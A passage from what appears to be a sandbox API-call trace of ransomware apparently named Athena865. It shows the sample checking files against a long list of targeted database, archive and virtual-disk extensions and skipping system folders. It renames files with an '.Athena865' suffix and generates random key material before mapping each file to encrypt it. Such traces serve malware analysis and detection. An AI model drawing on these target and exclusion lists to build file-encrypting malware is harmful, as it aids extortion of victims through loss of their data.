1 [0096.164] lstrlenW (lpString="dcx") returned 3 [0096.164] lstrcmpiW (lpString1="mui", lpString2="dcx") returned 1 [0096.164] lstrlenW (lpString="ddl") returned 3 [0096.164] lstrcmpiW (lpString1="mui", lpString2="ddl") returned 1 [0096.164] lstrlenW (lpString="dlis") returned 4 [0096.164] lstrcmpiW (lpString1=".mui", lpString2="dlis") returned -1 [0096.164] lstrlenW (lpString="dp1") returned 3 [0096.164] lstrcmpiW (lpString1="mui", lpString2="dp1") returned 1 [0096.164] lstrlenW (lpString="dqy") returned 3 [0096.164] lstrcmpiW (lpString1="mui", lpString2="dqy") returned 1 [0096.165] lstrlenW (lpString="dsk") returned 3 [0096.165] lstrcmpiW (lpString1="mui", lpString2="dsk") returned 1 [0096.165] lstrlenW (lpString="dsn") returned 3 [0096.165] lstrcmpiW (lpString1="mui", lpString2="dsn") returned 1 [0096.165] lstrlenW (lpString="dtsx") returned 4 [0096.165] lstrcmpiW (lpString1=".mui", lpString2="dtsx") returned -1 [0096.165] lstrlenW (lpString="dxl") returned 3 [0096.165] lstrcmpiW (lpString1="mui", lpString2="dxl") returned 1 [0096.165] lstrlenW (lpString="eco") returned 3 [0096.165] lstrcmpiW (lpString1="mui", lpString2="eco") returned 1 [0096.165] lstrlenW (lpString="ecx") returned 3 [0096.165] lstrcmpiW (lpString1="mui", lpString2="ecx") returned 1 [0096.165] lstrlenW (lpString="edb") returned 3 [0096.165] lstrcmpiW (lpString1="mui", lpString2="edb") returned 1 [0096.165] lstrlenW (lpString="epim") returned 4 [0096.165] lstrcmpiW (lpString1=".mui", lpString2="epim") returned -1 [0096.165] lstrlenW (lpString="fcd") returned 3 [0096.165] lstrcmpiW (lpString1="mui", lpString2="fcd") returned 1 [0096.165] lstrlenW (lpString="fdb") returned 3 [0096.165] lstrcmpiW (lpString1="mui", lpString2="fdb") returned 1 [0096.165] lstrlenW (lpString="fic") returned 3 [0096.165] lstrcmpiW (lpString1="mui", lpString2="fic") returned 1 [0096.165] lstrlenW (lpString="flexolibrary") returned 12 [0096.165] lstrcmpiW (lpString1="eres.dll.mui", lpString2="flexolibrary") returned -1 [0096.165] lstrlenW (lpString="fm5") returned 3 [0096.165] lstrcmpiW (lpString1="mui", lpString2="fm5") returned 1 [0096.165] lstrlenW (lpString="fmp") returned 3 [0096.165] lstrcmpiW (lpString1="mui", lpString2="fmp") returned 1 [0096.165] lstrlenW (lpString="fmp12") returned 5 [0096.165] lstrcmpiW (lpString1="l.mui", lpString2="fmp12") returned 1 [0096.165] lstrlenW (lpString="fmpsl") returned 5 [0096.165] lstrcmpiW (lpString1="l.mui", lpString2="fmpsl") returned 1 [0096.166] lstrlenW (lpString="fol") returned 3 [0096.166] lstrcmpiW (lpString1="mui", lpString2="fol") returned 1 [0096.166] lstrlenW (lpString="fp3") returned 3 [0096.166] lstrcmpiW (lpString1="mui", lpString2="fp3") returned 1 [0096.166] lstrlenW (lpString="fp4") returned 3 [0096.166] lstrcmpiW (lpString1="mui", lpString2="fp4") returned 1 [0096.166] lstrlenW (lpString="fp5") returned 3 [0096.166] lstrcmpiW (lpString1="mui", lpString2="fp5") returned 1 [0096.166] lstrlenW (lpString="fp7") returned 3 [0096.166] lstrcmpiW (lpString1="mui", lpString2="fp7") returned 1 [0096.166] lstrlenW (lpString="fpt") returned 3 [0096.166] lstrcmpiW (lpString1="mui", lpString2="fpt") returned 1 [0096.166] lstrlenW (lpString="frm") returned 3 [0096.166] lstrcmpiW (lpString1="mui", lpString2="frm") returned 1 [0096.166] lstrlenW (lpString="gdb") returned 3 [0096.166] lstrcmpiW (lpString1="mui", lpString2="gdb") returned 1 [0096.166] lstrlenW (lpString="gdb") returned 3 [0096.166] lstrcmpiW (lpString1="mui", lpString2="gdb") returned 1 [0096.166] lstrlenW (lpString="grdb") returned 4 [0096.166] lstrcmpiW (lpString1=".mui", lpString2="grdb") returned -1 [0096.166] lstrlenW (lpString="gwi") returned 3 [0096.166] lstrcmpiW (lpString1="mui", lpString2="gwi") returned 1 [0096.166] lstrlenW (lpString="hdb") returned 3 [0096.166] lstrcmpiW (lpString1="mui", lpString2="hdb") returned 1 [0096.166] lstrlenW (lpString="his") returned 3 [0096.166] lstrcmpiW (lpString1="mui", lpString2="his") returned 1 [0096.166] lstrlenW (lpString="ib") returned 2 [0096.166] lstrcmpiW (lpString1="ui", lpString2="ib") returned 1 [0096.166] lstrlenW (lpString="idb") returned 3 [0096.166] lstrcmpiW (lpString1="mui", lpString2="idb") returned 1 [0096.167] lstrlenW (lpString="ihx") returned 3 [0096.167] lstrcmpiW (lpString1="mui", lpString2="ihx") returned 1 [0096.167] lstrlenW (lpString="itdb") returned 4 [0096.167] lstrcmpiW (lpString1=".mui", lpString2="itdb") returned -1 [0096.167] lstrlenW (lpString="itw") returned 3 [0096.167] lstrcmpiW (lpString1="mui", lpString2="itw") returned 1 [0096.167] lstrlenW (lpString="jet") returned 3 [0096.167] lstrcmpiW (lpString1="mui", lpString2="jet") returned 1 [0096.167] lstrlenW (lpString="jtx") returned 3 [0096.167] lstrcmpiW (lpString1="mui", lpString2="jtx") returned 1 [0096.167] lstrlenW (lpString="kdb") returned 3 [0096.167] lstrcmpiW (lpString1="mui", lpString2="kdb") returned 1 [0096.167] lstrlenW (lpString="kexi") returned 4 [0096.167] lstrcmpiW (lpString1=".mui", lpString2="kexi") returned -1 [0096.167] lstrlenW (lpString="kexic") returned 5 [0096.167] lstrcmpiW (lpString1="l.mui", lpString2="kexic") returned 1 [0096.167] lstrlenW (lpString="kexis") returned 5 [0096.167] lstrcmpiW (lpString1="l.mui", lpString2="kexis") returned 1 [0096.167] lstrlenW (lpString="lgc") returned 3 [0096.167] lstrcmpiW (lpString1="mui", lpString2="lgc") returned 1 [0096.167] lstrlenW (lpString="lwx") returned 3 [0096.167] lstrcmpiW (lpString1="mui", lpString2="lwx") returned 1 [0096.167] lstrlenW (lpString="maf") returned 3 [0096.167] lstrcmpiW (lpString1="mui", lpString2="maf") returned 1 [0096.167] lstrlenW (lpString="maq") returned 3 [0096.167] lstrcmpiW (lpString1="mui", lpString2="maq") returned 1 [0096.167] lstrlenW (lpString="mar") returned 3 [0096.167] lstrcmpiW (lpString1="mui", lpString2="mar") returned 1 [0096.167] lstrlenW (lpString="marshal") returned 7 [0096.167] lstrcmpiW (lpString1="dll.mui", lpString2="marshal") returned -1 [0096.167] lstrlenW (lpString="mas") returned 3 [0096.167] lstrcmpiW (lpString1="mui", lpString2="mas") returned 1 [0096.168] lstrlenW (lpString="mav") returned 3 [0096.168] lstrcmpiW (lpString1="mui", lpString2="mav") returned 1 [0096.168] lstrlenW (lpString="maw") returned 3 [0096.168] lstrcmpiW (lpString1="mui", lpString2="maw") returned 1 [0096.168] lstrlenW (lpString="mdbhtml") returned 7 [0096.168] lstrcmpiW (lpString1="dll.mui", lpString2="mdbhtml") returned -1 [0096.168] lstrlenW (lpString="mdn") returned 3 [0096.168] lstrcmpiW (lpString1="mui", lpString2="mdn") returned 1 [0096.168] lstrlenW (lpString="mdt") returned 3 [0096.168] lstrcmpiW (lpString1="mui", lpString2="mdt") returned 1 [0096.168] lstrlenW (lpString="mfd") returned 3 [0096.168] lstrcmpiW (lpString1="mui", lpString2="mfd") returned 1 [0096.168] lstrlenW (lpString="mpd") returned 3 [0096.168] lstrcmpiW (lpString1="mui", lpString2="mpd") returned 1 [0096.168] lstrlenW (lpString="mrg") returned 3 [0096.168] lstrcmpiW (lpString1="mui", lpString2="mrg") returned 1 [0096.168] lstrlenW (lpString="mud") returned 3 [0096.168] lstrcmpiW (lpString1="mui", lpString2="mud") returned 1 [0096.168] lstrlenW (lpString="mwb") returned 3 [0096.168] lstrcmpiW (lpString1="mui", lpString2="mwb") returned -1 [0096.168] lstrlenW (lpString="myd") returned 3 [0096.168] lstrcmpiW (lpString1="mui", lpString2="myd") returned -1 [0096.168] lstrlenW (lpString="ndf") returned 3 [0096.168] lstrcmpiW (lpString1="mui", lpString2="ndf") returned -1 [0096.168] lstrlenW (lpString="nnt") returned 3 [0096.168] lstrcmpiW (lpString1="mui", lpString2="nnt") returned -1 [0096.168] lstrlenW (lpString="nrmlib") returned 6 [0096.168] lstrcmpiW (lpString1="ll.mui", lpString2="nrmlib") returned -1 [0096.168] lstrlenW (lpString="ns2") returned 3 [0096.168] lstrcmpiW (lpString1="mui", lpString2="ns2") returned -1 [0096.168] lstrlenW (lpString="ns3") returned 3 [0096.169] lstrcmpiW (lpString1="mui", lpString2="ns3") returned -1 [0096.169] lstrlenW (lpString="ns4") returned 3 [0096.169] lstrcmpiW (lpString1="mui", lpString2="ns4") returned -1 [0096.169] lstrlenW (lpString="nsf") returned 3 [0096.169] lstrcmpiW (lpString1="mui", lpString2="nsf") returned -1 [0096.169] lstrlenW (lpString="nv") returned 2 [0096.169] lstrcmpiW (lpString1="ui", lpString2="nv") returned 1 [0096.169] lstrlenW (lpString="nv2") returned 3 [0096.169] lstrcmpiW (lpString1="mui", lpString2="nv2") returned -1 [0096.169] lstrlenW (lpString="nwdb") returned 4 [0096.169] lstrcmpiW (lpString1=".mui", lpString2="nwdb") returned -1 [0096.169] lstrlenW (lpString="nyf") returned 3 [0096.169] lstrcmpiW (lpString1="mui", lpString2="nyf") returned -1 [0096.169] lstrlenW (lpString="odb") returned 3 [0096.169] lstrcmpiW (lpString1="mui", lpString2="odb") returned -1 [0096.169] lstrlenW (lpString="odb") returned 3 [0096.169] lstrcmpiW (lpString1="mui", lpString2="odb") returned -1 [0096.169] lstrlenW (lpString="oqy") returned 3 [0096.169] lstrcmpiW (lpString1="mui", lpString2="oqy") returned -1 [0096.169] lstrlenW (lpString="ora") returned 3 [0096.169] lstrcmpiW (lpString1="mui", lpString2="ora") returned -1 [0096.169] lstrlenW (lpString="orx") returned 3 [0096.169] lstrcmpiW (lpString1="mui", lpString2="orx") returned -1 [0096.169] lstrlenW (lpString="owc") returned 3 [0096.169] lstrcmpiW (lpString1="mui", lpString2="owc") returned -1 [0096.169] lstrlenW (lpString="p96") returned 3 [0096.169] lstrcmpiW (lpString1="mui", lpString2="p96") returned -1 [0096.169] lstrlenW (lpString="p97") returned 3 [0096.169] lstrcmpiW (lpString1="mui", lpString2="p97") returned -1 [0096.169] lstrlenW (lpString="pan") returned 3 [0096.169] lstrcmpiW (lpString1="mui", lpString2="pan") returned -1 [0096.170] lstrlenW (lpString="pdb") returned 3 [0096.170] lstrcmpiW (lpString1="mui", lpString2="pdb") returned -1 [0096.170] lstrlenW (lpString="pdm") returned 3 [0096.170] lstrcmpiW (lpString1="mui", lpString2="pdm") returned -1 [0096.170] lstrlenW (lpString="pnz") returned 3 [0096.170] lstrcmpiW (lpString1="mui", lpString2="pnz") returned -1 [0096.170] lstrlenW (lpString="qry") returned 3 [0096.170] lstrcmpiW (lpString1="mui", lpString2="qry") returned -1 [0096.170] lstrlenW (lpString="qvd") returned 3 [0096.170] lstrcmpiW (lpString1="mui", lpString2="qvd") returned -1 [0096.170] lstrlenW (lpString="rbf") returned 3 [0096.170] lstrcmpiW (lpString1="mui", lpString2="rbf") returned -1 [0096.170] lstrlenW (lpString="rctd") returned 4 [0096.170] lstrcmpiW (lpString1=".mui", lpString2="rctd") returned -1 [0096.170] lstrlenW (lpString="rod") returned 3 [0096.170] lstrcmpiW (lpString1="mui", lpString2="rod") returned -1 [0096.170] lstrlenW (lpString="rodx") returned 4 [0096.170] lstrcmpiW (lpString1=".mui", lpString2="rodx") returned -1 [0096.170] lstrlenW (lpString="rpd") returned 3 [0096.170] lstrcmpiW (lpString1="mui", lpString2="rpd") returned -1 [0096.170] lstrlenW (lpString="rsd") returned 3 [0096.170] lstrcmpiW (lpString1="mui", lpString2="rsd") returned -1 [0096.170] lstrlenW (lpString="sas7bdat") returned 8 [0096.170] lstrcmpiW (lpString1=".dll.mui", lpString2="sas7bdat") returned -1 [0096.170] lstrlenW (lpString="sbf") returned 3 [0096.170] lstrcmpiW (lpString1="mui", lpString2="sbf") returned -1 [0096.170] lstrlenW (lpString="scx") returned 3 [0096.170] lstrcmpiW (lpString1="mui", lpString2="scx") returned -1 [0096.170] lstrlenW (lpString="sdb") returned 3 [0096.170] lstrcmpiW (lpString1="mui", lpString2="sdb") returned -1 [0096.170] lstrlenW (lpString="sdc") returned 3 [0096.171] lstrcmpiW (lpString1="mui", lpString2="sdc") returned -1 [0096.171] lstrlenW (lpString="sdf") returned 3 [0096.171] lstrcmpiW (lpString1="mui", lpString2="sdf") returned -1 [0096.171] lstrlenW (lpString="sis") returned 3 [0096.171] lstrcmpiW (lpString1="mui", lpString2="sis") returned -1 [0096.171] lstrlenW (lpString="spq") returned 3 [0096.171] lstrcmpiW (lpString1="mui", lpString2="spq") returned -1 [0096.171] lstrlenW (lpString="te") returned 2 [0096.171] lstrcmpiW (lpString1="ui", lpString2="te") returned 1 [0096.171] lstrlenW (lpString="teacher") returned 7 [0096.171] lstrcmpiW (lpString1="dll.mui", lpString2="teacher") returned -1 [0096.171] lstrlenW (lpString="tmd") returned 3 [0096.171] lstrcmpiW (lpString1="mui", lpString2="tmd") returned -1 [0096.171] lstrlenW (lpString="tps") returned 3 [0096.171] lstrcmpiW (lpString1="mui", lpString2="tps") returned -1 [0096.171] lstrlenW (lpString="trc") returned 3 [0096.171] lstrcmpiW (lpString1="mui", lpString2="trc") returned -1 [0096.171] lstrlenW (lpString="trc") returned 3 [0096.171] lstrcmpiW (lpString1="mui", lpString2="trc") returned -1 [0096.171] lstrlenW (lpString="trm") returned 3 [0096.171] lstrcmpiW (lpString1="mui", lpString2="trm") returned -1 [0096.171] lstrlenW (lpString="udb") returned 3 [0096.171] lstrcmpiW (lpString1="mui", lpString2="udb") returned -1 [0096.171] lstrlenW (lpString="udl") returned 3 [0096.171] lstrcmpiW (lpString1="mui", lpString2="udl") returned -1 [0096.171] lstrlenW (lpString="usr") returned 3 [0096.171] lstrcmpiW (lpString1="mui", lpString2="usr") returned -1 [0096.171] lstrlenW (lpString="v12") returned 3 [0096.171] lstrcmpiW (lpString1="mui", lpString2="v12") returned -1 [0096.171] lstrlenW (lpString="vis") returned 3 [0096.171] lstrcmpiW (lpString1="mui", lpString2="vis") returned -1 [0096.171] lstrlenW (lpString="vpd") returned 3 [0096.172] lstrcmpiW (lpString1="mui", lpString2="vpd") returned -1 [0096.172] lstrlenW (lpString="vvv") returned 3 [0096.172] lstrcmpiW (lpString1="mui", lpString2="vvv") returned -1 [0096.172] lstrlenW (lpString="wdb") returned 3 [0096.172] lstrcmpiW (lpString1="mui", lpString2="wdb") returned -1 [0096.172] lstrlenW (lpString="wmdb") returned 4 [0096.172] lstrcmpiW (lpString1=".mui", lpString2="wmdb") returned -1 [0096.172] lstrlenW (lpString="wrk") returned 3 [0096.172] lstrcmpiW (lpString1="mui", lpString2="wrk") returned -1 [0096.172] lstrlenW (lpString="xdb") returned 3 [0096.172] lstrcmpiW (lpString1="mui", lpString2="xdb") returned -1 [0096.172] lstrlenW (lpString="xld") returned 3 [0096.172] lstrcmpiW (lpString1="mui", lpString2="xld") returned -1 [0096.172] lstrlenW (lpString="xmlff") returned 5 [0096.172] lstrcmpiW (lpString1="l.mui", lpString2="xmlff") returned -1 [0096.172] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files (x86)\\Windows Mail\\en-US\\msoeres.dll.mui.Athena865") returned 67 [0096.172] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Windows Mail\\en-US\\msoeres.dll.mui" (normalized: "c:\\program files (x86)\\windows mail\\en-us\\msoeres.dll.mui"), lpNewFileName="C:\\Program Files (x86)\\Windows Mail\\en-US\\msoeres.dll.mui.Athena865" (normalized: "c:\\program files (x86)\\windows mail\\en-us\\msoeres.dll.mui.athena865"), dwFlags=0x1) returned 1 [0096.173] CreateFileW (lpFileName="C:\\Program Files (x86)\\Windows Mail\\en-US\\msoeres.dll.mui.Athena865" (normalized: "c:\\program files (x86)\\windows mail\\en-us\\msoeres.dll.mui.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x154 [0096.173] GetFileSizeEx (in: hFile=0x154, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=518144) returned 1 [0096.173] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0096.173] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d480 [0096.173] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x5189a8 [0096.173] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x518ab8) returned 1 [0096.174] CryptGenRandom (in: hProv=0x518ab8, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0096.174] CryptReleaseContext (hProv=0x518ab8, dwFlags=0x0) returned 1 [0096.174] CreateFileMappingW (hFile=0x154, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x7eb00, lpName=0x0) returned 0x17c [0096.176] MapViewOfFile (hFileMappingObject=0x17c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x7eb00) returned 0x2d50000 [0096.210] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x518ab8) returned 1 [0096.211] CryptGenRandom (in: hProv=0x518ab8, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0096.211] CryptReleaseContext (hProv=0x518ab8, dwFlags=0x0) returned 1 [0096.211] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d390 [0096.211] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52d390 | out: hHeap=0x4f0000) returned 1 [0096.211] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x520b60 [0096.211] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0096.211] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x520b60 | out: hHeap=0x4f0000) returned 1 [0096.211] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0096.211] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x50bdf8 [0096.212] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0096.212] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x50bdf8 | out: hHeap=0x4f0000) returned 1 [0096.212] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0096.212] UnmapViewOfFile (lpBaseAddress=0x2d50000) returned 1 [0096.216] CloseHandle (hObject=0x17c) returned 1 [0096.216] CloseHandle (hObject=0x154) returned 1 [0096.216] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52d480 | out: hHeap=0x4f0000) returned 1 [0096.216] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5189a8 | out: hHeap=0x4f0000) returned 1 [0096.216] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0096.218] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdd1fd1f, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xe067905, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0xdd1fd1f, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x1600, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="WinMail.exe.mui", cAlternateFileName="")) returned 1 [0096.218] lstrcmpiW (lpString1="WinMail.exe.mui", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0096.218] lstrcmpiW (lpString1="WinMail.exe.mui", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0096.218] lstrcmpiW (lpString1="WinMail.exe.mui", lpString2=".") returned 1 [0096.218] lstrcmpiW (lpString1="WinMail.exe.mui", lpString2="..") returned 1 [0096.218] lstrcmpiW (lpString1="WinMail.exe.mui", lpString2="windows") returned 1 [0096.218] lstrcmpiW (lpString1="WinMail.exe.mui", lpString2="bootmgr") returned 1 [0096.218] lstrcmpiW (lpString1="WinMail.exe.mui", lpString2="temp") returned 1 [0096.219] lstrcmpiW (lpString1="WinMail.exe.mui", lpString2="pagefile.sys") returned 1 [0096.219] lstrcmpiW (lpString1="WinMail.exe.mui", lpString2="boot") returned 1 [0096.219] lstrcmpiW (lpString1="WinMail.exe.mui", lpString2="ids.txt") returned 1 [0096.219] lstrcmpiW (lpString1="WinMail.exe.mui", lpString2="ntuser.dat") returned 1 [0096.219] lstrcmpiW (lpString1="WinMail.exe.mui", lpString2="perflogs") returned 1 [0096.219] lstrcmpiW (lpString1="WinMail.exe.mui", lpString2="MSBuild") returned 1 [0096.219] lstrlenW (lpString="WinMail.exe.mui") returned 15 [0096.219] lstrcpyW (in: lpString1=0x241e89c, lpString2="WinMail.exe.mui" | out: lpString1="WinMail.exe.mui") returned="WinMail.exe.mui" [0096.219] lstrlenW (lpString="WinMail.exe.mui") returned 15 [0096.219] lstrlenW (lpString="Athena865") returned 9 [0096.219] lstrcmpiW (lpString1="l.exe.mui", lpString2="Athena865") returned 1 [0096.219] lstrlenW (lpString=".dll") returned 4 [0096.219] lstrcmpiW (lpString1="WinMail.exe.mui", lpString2=".dll") returned 1 [0096.219] lstrlenW (lpString=".lnk") returned 4 [0096.219] lstrcmpiW (lpString1="WinMail.exe.mui", lpString2=".lnk") returned 1 [0096.219] lstrlenW (lpString=".ini") returned 4 [0096.219] lstrcmpiW (lpString1="WinMail.exe.mui", lpString2=".ini") returned 1 [0096.219] lstrlenW (lpString=".sys") returned 4 [0096.219] lstrcmpiW (lpString1="WinMail.exe.mui", lpString2=".sys") returned 1 [0096.219] lstrlenW (lpString="WinMail.exe.mui") returned 15 [0096.219] lstrlenW (lpString="bak") returned 3 [0096.219] lstrcmpiW (lpString1="mui", lpString2="bak") returned 1 [0096.219] lstrlenW (lpString="ba_") returned 3 [0096.219] lstrcmpiW (lpString1="mui", lpString2="ba_") returned 1 [0096.219] lstrlenW (lpString="dbb") returned 3 [0096.219] lstrcmpiW (lpString1="mui", lpString2="dbb") returned 1 [0096.219] lstrlenW (lpString="vmdk") returned 4 [0096.219] lstrcmpiW (lpString1=".mui", lpString2="vmdk") returned -1 [0096.219] lstrlenW (lpString="rar") returned 3 [0096.219] lstrcmpiW (lpString1="mui", lpString2="rar") returned -1 [0096.219] lstrlenW (lpString="zip") returned 3 [0096.220] lstrcmpiW (lpString1="mui", lpString2="zip") returned -1 [0096.220] lstrlenW (lpString="tgz") returned 3 [0096.220] lstrcmpiW (lpString1="mui", lpString2="tgz") returned -1 [0096.220] lstrlenW (lpString="vbox") returned 4 [0096.220] lstrcmpiW (lpString1=".mui", lpString2="vbox") returned -1 [0096.220] lstrlenW (lpString="vdi") returned 3 [0096.220] lstrcmpiW (lpString1="mui", lpString2="vdi") returned -1 [0096.220] lstrlenW (lpString="vhd") returned 3 [0096.220] lstrcmpiW (lpString1="mui", lpString2="vhd") returned -1 [0096.220] lstrlenW (lpString="vhdx") returned 4 [0096.220] lstrcmpiW (lpString1=".mui", lpString2="vhdx") returned -1 [0096.220] lstrlenW (lpString="avhd") returned 4 [0096.220] lstrcmpiW (lpString1=".mui", lpString2="avhd") returned -1 [0096.220] lstrlenW (lpString="db") returned 2 [0096.220] lstrcmpiW (lpString1="ui", lpString2="db") returned 1 [0096.220] lstrlenW (lpString="db2") returned 3 [0096.220] lstrcmpiW (lpString1="mui", lpString2="db2") returned 1 [0096.220] lstrlenW (lpString="db3") returned 3 [0096.220] lstrcmpiW (lpString1="mui", lpString2="db3") returned 1 [0096.220] lstrlenW (lpString="dbf") returned 3 [0096.220] lstrcmpiW (lpString1="mui", lpString2="dbf") returned 1 [0096.220] lstrlenW (lpString="mdf") returned 3 [0096.220] lstrcmpiW (lpString1="mui", lpString2="mdf") returned 1 [0096.220] lstrlenW (lpString="mdb") returned 3 [0096.220] lstrcmpiW (lpString1="mui", lpString2="mdb") returned 1 [0096.220] lstrlenW (lpString="sql") returned 3 [0096.220] lstrcmpiW (lpString1="mui", lpString2="sql") returned -1 [0096.220] lstrlenW (lpString="sqlite") returned 6 [0096.220] lstrcmpiW (lpString1="xe.mui", lpString2="sqlite") returned 1 [0096.220] lstrlenW (lpString="sqlite3") returned 7 [0096.220] lstrcmpiW (lpString1="exe.mui", lpString2="sqlite3") returned -1 [0096.220] lstrlenW (lpString="sqlitedb") returned 8 [0096.220] lstrcmpiW (lpString1=".exe.mui", lpString2="sqlitedb") returned -1 [0096.221] lstrlenW (lpString="xml") returned 3 [0096.221] lstrcmpiW (lpString1="mui", lpString2="xml") returned -1 [0096.221] lstrlenW (lpString="$er") returned 3 [0096.221] lstrcmpiW (lpString1="mui", lpString2="$er") returned 1 [0096.221] lstrlenW (lpString="4dd") returned 3 [0096.221] lstrcmpiW (lpString1="mui", lpString2="4dd") returned 1 [0096.221] lstrlenW (lpString="4dl") returned 3 [0096.221] lstrcmpiW (lpString1="mui", lpString2="4dl") returned 1 [0096.221] lstrlenW (lpString="^^^") returned 3 [0096.221] lstrcmpiW (lpString1="mui", lpString2="^^^") returned 1 [0096.221] lstrlenW (lpString="abs") returned 3 [0096.221] lstrcmpiW (lpString1="mui", lpString2="abs") returned 1 [0096.221] lstrlenW (lpString="abx") returned 3 [0096.221] lstrcmpiW (lpString1="mui", lpString2="abx") returned 1 [0096.221] lstrlenW (lpString="accdb") returned 5 [0096.221] lstrcmpiW (lpString1="e.mui", lpString2="accdb") returned 1 [0096.221] lstrlenW (lpString="accdc") returned 5 [0096.221] lstrcmpiW (lpString1="e.mui", lpString2="accdc") returned 1 [0096.221] lstrlenW (lpString="accde") returned 5 [0096.221] lstrcmpiW (lpString1="e.mui", lpString2="accde") returned 1 [0096.221] lstrlenW (lpString="accdr") returned 5 [0096.221] lstrcmpiW (lpString1="e.mui", lpString2="accdr") returned 1 [0096.221] lstrlenW (lpString="accdt") returned 5 [0096.221] lstrcmpiW (lpString1="e.mui", lpString2="accdt") returned 1 [0096.221] lstrlenW (lpString="accdw") returned 5 [0096.221] lstrcmpiW (lpString1="e.mui", lpString2="accdw") returned 1 [0096.221] lstrlenW (lpString="accft") returned 5 [0096.221] lstrcmpiW (lpString1="e.mui", lpString2="accft") returned 1 [0096.221] lstrlenW (lpString="adb") returned 3 [0096.221] lstrcmpiW (lpString1="mui", lpString2="adb") returned 1 [0096.221] lstrlenW (lpString="adb") returned 3 [0096.222] lstrcmpiW (lpString1="mui", lpString2="adb") returned 1 [0096.222] lstrlenW (lpString="ade") returned 3 [0096.222] lstrcmpiW (lpString1="mui", lpString2="ade") returned 1 [0096.222] lstrlenW (lpString="adf") returned 3 [0096.222] lstrcmpiW (lpString1="mui", lpString2="adf") returned 1 [0096.222] lstrlenW (lpString="adn") returned 3 [0096.222] lstrcmpiW (lpString1="mui", lpString2="adn") returned 1 [0096.222] lstrlenW (lpString="adp") returned 3 [0096.222] lstrcmpiW (lpString1="mui", lpString2="adp") returned 1 [0096.222] lstrlenW (lpString="alf") returned 3 [0096.222] lstrcmpiW (lpString1="mui", lpString2="alf") returned 1 [0096.222] lstrlenW (lpString="ask") returned 3 [0096.222] lstrcmpiW (lpString1="mui", lpString2="ask") returned 1 [0096.222] lstrlenW (lpString="btr") returned 3 [0096.222] lstrcmpiW (lpString1="mui", lpString2="btr") returned 1 [0096.222] lstrlenW (lpString="cat") returned 3 [0096.222] lstrcmpiW (lpString1="mui", lpString2="cat") returned 1 [0096.222] lstrlenW (lpString="cdb") returned 3 [0096.222] lstrcmpiW (lpString1="mui", lpString2="cdb") returned 1 [0096.222] lstrlenW (lpString="ckp") returned 3 [0096.222] lstrcmpiW (lpString1="mui", lpString2="ckp") returned 1 [0096.222] lstrlenW (lpString="cma") returned 3 [0096.222] lstrcmpiW (lpString1="mui", lpString2="cma") returned 1 [0096.222] lstrlenW (lpString="cpd") returned 3 [0096.222] lstrcmpiW (lpString1="mui", lpString2="cpd") returned 1 [0096.222] lstrlenW (lpString="dacpac") returned 6 [0096.222] lstrcmpiW (lpString1="xe.mui", lpString2="dacpac") returned 1 [0096.222] lstrlenW (lpString="dad") returned 3 [0096.222] lstrcmpiW (lpString1="mui", lpString2="dad") returned 1 [0096.222] lstrlenW (lpString="dadiagrams") returned 10 [0096.222] lstrcmpiW (lpString1="il.exe.mui", lpString2="dadiagrams") returned 1 [0096.222] lstrlenW (lpString="daschema") returned 8 [0096.223] lstrcmpiW (lpString1=".exe.mui", lpString2="daschema") returned -1 [0096.223] lstrlenW (lpString="db-journal") returned 10 [0096.223] lstrcmpiW (lpString1="il.exe.mui", lpString2="db-journal") returned 1 [0096.223] lstrlenW (lpString="db-shm") returned 6 [0096.223] lstrcmpiW (lpString1="xe.mui", lpString2="db-shm") returned 1 [0096.223] 